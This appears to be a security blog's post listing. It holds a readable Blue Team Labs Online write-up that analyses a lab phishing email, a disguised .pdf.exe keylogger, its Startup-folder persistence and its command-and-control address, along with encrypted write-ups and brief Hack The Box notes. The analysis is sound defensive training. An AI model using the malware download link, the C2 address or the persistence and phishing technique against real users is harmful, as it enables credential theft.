9lPcAAdhug6DWNfgnqwUZzbArTfA6VEZiJn2wjbpuEDqkwmQC3+nCpYmAU9TdU44FxpVMO0lWukPXXhs10ROBHK+Ecm1QJWWQ3VNwTvCkwkTKDgsitwkuxdE4CrD6cG6/ijx+2lxLSjoiwhNQ8WcDDr9MK4U8bMTbNO/GGjUJBwvBThx+ihnw1YF96X3gGgkqctUDqaw7kINTmFyzFdVHM4oQDKaL78YDRWQhKEJ1DS4bS2ybDFeOqCsrUc3+uNNa+C8gbk+KHHPkb0QVzsdilzaMXq8aSdld0v0oQCJjdCOSPUVHumUAUhE2bU97sjmoN1jMuGAso2MtE+TSrxOc9bxgHybIkiPbM0oEvNg6XNTm+HxePIX6DrZHUBRkNPrToH1FTjmpZmVAWW34kZ0jYVbNDxZ1Rplfh5n1kC2B8o8hUrLCxP3cyxzojH8U+z0Mms3d5L54zGgumTLBOjO31pIHVaDYf/AeGaouXWMOJQh1nJjcXhIGawRey7G74DQeG0CKnKkAPz1rbN/Q9fJa7bS4/3hGH3zuPzAS57T2AYi+2W80eC9k5m3n7FMCvScALnHoaS8djphl8l4ScyJVHtk5XgM999C13+uJzmUmeMNZxY/pTQsUrxjJfdmpqsviwbNmJ35qKhIkkD2dCBI1wbDA4Hm2P14t2Q5Uj7V8YMW9pApmrKnWkfHUMZNuqPqHOG7QmY/pmRJRQtVQlfB8=;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

BTLO - Investigation: BEN

2022-03-18T17:09:47-04:00

Link: https://blueteamlabs.online/home/investigation/96

Ben was working very hard at FaanG industries to get a maximum percentage of the hike. He was talking about this with his HR as well. While he was preparing for a Salary Negotiation meeting, Ben received a phishing email and an attachment explaining to him a New Salary Negotiation process at the company. This resulted in the theft of the super-secret Database credentials of Ben. Necessary remediation steps were taken to reduce the damage. CISO advised the security team to study Ben’s case, analyze the Evidence and prepare an Awareness workshop with technical details of the attack. Evidence and the necessary analysis tools were placed on the Desktop. Note: If prompted for Admin Privileges choose BTLOPlayer account.

Scenario

Using Kernel EML Viewer, I navigated to \Desktop\CollectedEvidence to view the email that Ben received. We can see the subject of Salary Renegotiations (Q1), and the from/to emails of HR_Engineer@faang.com, Ben_Engineer@faang.com (Q2). The body of the email was base64 encoded; Using the provided Cyberchef webapp, it decodes as follows:

Dear Ben,
The Department of Human Resources has amended the salary renegotiation process. In order to qualify for a pay raise, all interested employees, must schedule a one-on-one meeting with a member of the HR staff. The particular HR salary staff member assigned to work with you on salary negotiations will email you separately.
Prior to scheduling a meeting with your HR liaison, please review the attached PDF document outlining the new salary renegotiation process. Failure to review the file will disqualify you from petitioning for a pay raise this quarter.
Thank you, 
HR
===
[1]: Know the New Salary Negotiation Process.pdf

Based on the fact the email came from an internal email that appears legitimate, in the correct format, with language specifically targeted to Ben, knowing he was preparing for a salary negotiation meeting is an extraordinarily advanced phishing scheme. I honestly don't fully blame Ben for clicking and downloading the attachment due to these circumstances.

But now once we actually open the PDF, it becomes immediately apparent something seems wrong. The presentation of the PDF is horrible, and does not appear to automatically run anything so he must have clicked the link manually. The download button directs you to this link (Q3, Q4): https://www.dropbox.com/s/3dqft1ays1ltgrg/NewSalaryNegotiation.uue?dl=1

Unzipping this contains a SalaryNegotiationProcess.pdf.exe. It's a clever naming scheme and uses the icon of an actual PDF document while clicking it will run an executable.

I started up Noriben with .\Noriben.py and it is ready for us to double-click the exe. I did some research online, because I had never used Noriben before, and it was recommended to let Noriben/Procmon run for about 4 minutes before killing it. Also because the Note on the desktop mentioned a keylogger was installed, I was typing in the notepad window in case the keylogger maybe drops files of what was logged.

Using CTRL+C, I stopped the log.

At the top of our File Activity portion of the log is the following:

[CreateFile] SalaryNegotiationProcess.pdf.exe:1316 > %LocalAppData%\Microsoft\Windows\History\salaryhike\explorer.exe
[CreateFile] explorer.exe:4940 > %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Corporation.exe

These exe files are the copies for persistence (Q6). I also noticed %LocalAppData%\Microsoft\Windows\History\salaryhike\explorer.exe.tmp. being used right after the Microsoft Corporation.exe several times as seen here:

explorer.exe.tmp file

This indicates it is probably the keylogger file (Q7). I tried accessing the file but it isn't shown on disk.

By pulling up netstat we can see 107.189.29.181:5005 in the SYN_SENT appear (Q8). It doesn't always appear but I ran a few times and got it to show up. It must be exfiltrating the data from the tmp quick enough that you can't see it on the machine.

The last question we have available is to submit the mutex. The issue is our machine does not have internet connection, so we cannot download tools like ProcessExplorer or use SysInternals or strings. I decided to load the file into Cyberchef and just read through the output. I tried strings on here, but still saw nothing.

By manually reading through, you can see what looks like text followed by a period after every character such as W.a.i.t.F.o.r.E.x.i.t, which is why strings failed to (Q5) pick up. Because a mutex is basically a lock on a file, shortly after the wait for exit text is the mutex in curly braces:

Conclusion

This box was actually fairly challenging for me, particularly Q5 and Q8 as they did not rely solely on Noriben and required some out of the box thinking in order to find them. But I definitely felt I learned a lot and added some new tools under my blue team toolbelt!

[Encrypted] BTLO - Investigation: RDP

2022-03-17T13:55:13-04:00

DakRtWfqXwcySXM/jp3lMw==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO: Investigation - Deep Blue

2022-03-16T14:26:25-04:00

7xibgpzdrVJOxqNxrJULMA==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You can unlock this challenge by using the last password requested, or wait until the investigation is retired.

HackTheBox: Context Fortress

2022-03-11T22:37:00-05:00

Done!

After several long days, I finally was able to pwn my first fortress on HackTheBox! Context by Context Information Security!

This particular challenge had seven flags and had me exploit my way through a vulnerable web app, into a Windows Domained machine and compromise several web and domain users in order to finally get Domain Admin and grab the final flag!

Without spoiling exact methodology, it was definitely a difficult challenge that required me to do a lot of extra research to help bolster my skills and help me breakthrough when I got stuck. I look forward to another challenge after I take a few days break from this one!

HackTheBox: Forensics Challenge - Red Failure

2022-03-02T17:17:28-05:00

Note: I am stumped on this particular challenge. Below is how far I've gotten.

Link: https://app.hackthebox.com/challenges/red-failure

